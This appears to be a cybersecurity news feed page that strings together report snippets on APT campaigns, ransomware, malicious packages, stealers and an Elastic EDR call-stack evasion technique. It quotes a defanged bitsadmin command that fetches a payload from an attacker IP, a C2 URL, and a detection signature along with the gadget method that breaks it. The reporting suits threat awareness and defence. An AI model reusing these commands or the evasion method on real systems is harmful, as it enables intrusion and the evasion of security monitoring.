The Congressional Budget Office (CBO), which serves as Congress’s official financial advisor, has been targeted in a suspected cyberattack by suspected foreign actors. The breach exposed sensitive financial research data that lawmakers rely on to make crucial budgeting decisions and craft legislation affecting millions of Americans. The CBO confirmed the attack through an official agency […]
LockBit has remained one of the most dominant ransomware-as-a-service (RaaS) groups in the world since its emergence as ABCD ransomware in 2019 and official launch as LockBit in 2020. Despite high-profile setbacks including international law enforcement takedowns in early 2024 and a damaging affiliate panel leak in May 2025 the group continues to update its […]
A set of nine malicious NuGet packages has been identified as capable of dropping time-delayed payloads to sabotage database operations and corrupt industrial control systems.
According to software supply chain security company Socket, the packages were published in 2023 and 2024 by a user named “shanhai666” and are designed to run malicious code after specific trigger dates in August 2027 and
China-linked threat actors have intensified their focus on influencing American governmental decision-making processes by targeting organizations involved in shaping international policy.
In April 2025, a sophisticated intrusion into a U.S. non-profit organization revealed the persistent efforts of these attackers to establish long-term network access and gather intelligence related to policy matters.
The threat actors demonstrated considerable technical sophistication, employing multiple evasion techniques and exploiting various vulnerabilities to maintain control over the compromised infrastructure for several weeks.
The attack campaign reflects a broader pattern of Chinese state-sponsored espionage targeting policy-influencing institutions.
Initial reconnaissance began on April 5, 2025, when attackers conducted mass vulnerability scans against organizational servers, attempting exploits including CVE-2022-26134 (Atlassian OGNL Injection), CVE-2021-44228 (Log4j), CVE-2017-9805 (Apache Struts), and CVE-2017-17562 (GoAhead RCE).
These scanning activities established the foundation for their subsequent exploitation attempts and network compromise.
Symantec security analysts identified multiple tactical indicators linking this campaign to established Chinese threat groups including Space Pirates, Kelp (Salt Typhoon), and Earth Longzhi, a recognized subgroup of the long-standing APT41 collective.
The forensic evidence pointed directly to China-based attribution through several distinctive attack methodologies.
DLL Sideloading as Primary Persistence Mechanism
The attackers deployed DLL sideloading as their primary persistence mechanism, leveraging a legitimate VipreAV component named vetysafe.exe to execute malicious payload sbamres.dll.
This technique exploits Windows’ dynamic library search order by planting malicious code that legitimate applications automatically load and execute.
The attackers created a scheduled task running every 60 minutes with SYSTEM privileges, executing msbuild.exe to load an unknown XML configuration file containing injected code.
This code subsequently established communication with a command-and-control server at hxxp://38.180.83[.]166/6CDF0FC26CDF0FC2.
The sophisticated approach allowed attackers to maintain persistent access while evading traditional security detection mechanisms, demonstrating evolving capabilities in targeting U.S. policy institutions.
Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.
Security researchers have successfully evaded Elastic EDR’s call stack signature detection by exploiting a technique involving “call gadgets” to bypass the security tool’s behavioral analysis.
The Almond research builds on Elastic’s transparent approach to security, as the company publicly shares its detection logic and allows researchers to test against their protections.
Elastic EDR relies heavily on call stack analysis to identify malicious behavior, particularly detecting when sensitive operations originate from unbacked memory code loaded at runtime rather than from executable files on the filesystem.
Understanding Elastic’s Call Stack and Call Gadgets Work
This pattern typically indicates shellcode execution. When operations like loading network modules occur from suspicious memory locations, Elastic’s detection rules trigger alerts based on specific call stack signatures.
The detection triggers and the process are killed
The Almond researchers discovered they could bypass detection by inserting an additional module into the call stack between expected system libraries.
Elastic’s detection rules look for specific call stack patterns, such as the signature “ntdll.dll|kernelbase.dll|ntdll.dll|kernel32.dll|ntdll.dll” when network modules load.
By breaking this signature through call gadget manipulation, the researchers successfully evaded detection.
Visual way of showing the flow
The technique involves finding controllable call instructions within legitimate Windows DLLs that aren’t monitored by Elastic’s specific detection rules.
Researchers identified suitable gadgets by analyzing System32 DLLs, searching for sequences containing a call instruction to a register followed by a return instruction.
They discovered a stable gadget in dsdmo.dll that executes “call r10” followed by stack cleanup and a return.
By jumping to this gadget instead of calling the target function directly, dsdmo.dll appears in the call stack between ntdll and kernelbase, effectively breaking the detection signature while maintaining legitimate execution flow.
Stepping over the syscall instruction, the alert will trigger
The researchers notified Elastic before publishing their findings. Elastic acknowledged the technique and is developing updated detection rules to address this evasion method.
The complete proof-of-concept code has been published on GitHub, demonstrating the ongoing security research collaboration between independent researchers and EDR vendors.
While this technique bypasses one specific detection rule, Elastic EDR maintains multiple detection layers throughout an implant’s execution lifecycle.
Russian-based threat actors are actively distributing a sophisticated Android Remote Access Trojan called “Fantasy Hub” via Telegram-based Malware-as-a-Service channels, marking a significant escalation in mobile-focused cybercrime. Fantasy Hub represents a dangerous convergence of advanced evasion techniques, social engineering tactics, and deep system-level access. Security researchers from Zimperium’s zLabs have documented extensive capabilities of this spyware, […]
Security researchers have uncovered a dangerous attack vector targeting Active Directory Sites, a critical yet often overlooked component of enterprise network infrastructure. According to a recent technical analysis by Quentin Roland, attackers can exploit ACL-based attack paths within AD Sites to escalate privileges and potentially compromise entire domains. This discovery highlights a significant security gap […]
Imagine this: Sarah from accounting gets what looks like a routine password reset email from your organization’s cloud provider. She clicks the link, types in her credentials, and goes back to her spreadsheet. But unknown to her, she’s just made a big mistake. Sarah just accidentally handed over her login details to cybercriminals who are laughing all the way to their dark web
A dangerous two-stage malware threat, LeakyInjector and LeakyStealer, that targets cryptocurrency wallets and personal browser information explicitly.
The malware duo works in tandem to steal sensitive data from infected Windows computers. The attack begins when LeakyInjector, the first stage, quietly injects a second malware, LeakyStealer, into the explorer.exe process.
This injection technique uses low-level Windows programming interfaces to avoid detection by security software. Once installed, LeakyStealer takes over and begins searching for cryptocurrency wallets and browser history files.
What Data Gets Stolen
According to Hybrid-analysis, the LeakyStealer hunts for multiple popular cryptocurrency wallets, including Electrum, Exodus, Atomic, and Ledger Live.
It also targets browser-based crypto wallets like MetaMask, Phantom, Coinbase Wallet, and Trust Wallet.
different browser extensions corresponding to crypto wallets
Beyond crypto theft, the malware extracts browser history from Google Chrome, Microsoft Edge, Brave, Opera, and Vivaldi browsers.
The malware communicates with a command-and-control server to send stolen data back to the attackers.
It uses sophisticated techniques, such as a “polymorphic engine” that modifies its own memory at runtime to evade security detection tools.
The injector searches for the explorer.exe process
Both malware stages are digitally signed with valid certificates, making them appear legitimate to Windows security systems.
The malware establishes persistence by copying itself as “MicrosoftEdgeUpdateCore.exe” and adding itself to Windows startup routines, ensuring it survives system restarts.
LeakySteaker regularly beacons to the attacker’s command server, sending back machine information such as hostname, username, and Windows version.
Attackers can then send remote commands to download and execute additional malware or run Windows system commands on your computer , as reported by Hybrid-analysis.
Users should immediately update security software and enable real-time monitoring. Avoid downloading software from untrusted websites, and be cautious of suspicious email attachments or links.
Example of exfiltrating the browsing history files
Consider using hardware cryptocurrency wallets rather than browser-based extensions for greater security.
Keep your operating system and browsers fully updated with the latest security patches to reduce vulnerability to such threats.
In July 2025, a sophisticated hacker group known as Cavalry Werewolf executed a targeted campaign against Russian government institutions, compromising critical infrastructure through coordinated phishing operations.
The discovery of this campaign reveals a complex attack chain designed to establish persistent network access, extract sensitive data, and maintain long-term control over compromised systems.
Dr.Web security analysts identified the group after being contacted by a targeted government organization that detected suspicious email traffic originating from internal corporate accounts, suggesting unauthorized network access.
The investigation uncovered multiple previously unknown malware variants deployed across a multi-stage infection process.
The attackers demonstrated sophisticated operational security practices by leveraging open-source tools, employing encryption, and establishing command-and-control infrastructure across multiple servers.
Their arsenal includes various reverse-shell backdoors, data theft trojans, and process injection techniques that allow remote command execution without triggering traditional security mechanisms.
Dr.Web security researchers noted that this campaign represents a significant escalation in sophistication, with the group continuously expanding their toolkit to adapt to different target environments.
The attack methodology focuses on deploying backdoors that establish remote shell access, enabling attackers to execute commands and maintain persistence within compromised networks.
This approach provides the flexibility to deploy additional malware stages based on reconnaissance findings within each target organization.
Initial Access and Primary Infection Vector
Cavalry Werewolf initiates attacks through phishing emails containing weaponized attachments masquerading as official government documents.
An example of a phishing email containing BackDoor.ShellNET.1 (Source – Dr.Web)
The primary infection stage, identified as BackDoor.ShellNET.1, arrives in password-protected archives with deceptive filenames such as administrative reports and internal communications.
Once executed, this reverse-shell backdoor based on Reverse-Shell-CS open-source software enables the attackers to remotely connect to infected systems and execute arbitrary commands.
Following initial compromise, the attackers leverage the legitimate Windows utility Bitsadmin to download additional malicious payloads through remote command execution.
This represents a classic living-off-the-land technique where legitimate system tools become vectors for malware deployment. The command syntax follows this pattern: bitsadmin /transfer www /download hxxp[:]//195[.]2.79[.]245/winpot.exe C:\users\public\downloads\winpot.exe.
This particular sequence demonstrates how attackers maintain operational security by using standard Windows mechanisms that typically appear legitimate in network logs.
The subsequent infection stages introduce file theft trojans like Trojan.FileSpyNET.5, capable of exfiltrating documents in common formats including Word files, Excel spreadsheets, PDFs, and image files.
The attackers then deploy BackDoor.Tunnel.41, based on ReverseSocks5 open-source software, which creates SOCKS5 tunnels for inconspicuous remote access and command execution.
This layered approach allows the group to maintain multiple access points within compromised infrastructure, ensuring persistence even if individual backdoors are detected and removed.
The technical sophistication displayed throughout the campaign underscores the evolving threat landscape facing government organizations.
By combining legitimate tools, open-source frameworks, and custom malware modifications, Cavalry Werewolf demonstrates a mature operational capability designed to evade detection while maintaining flexible command-and-control structures suitable for diverse target environments.
Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.
.webp)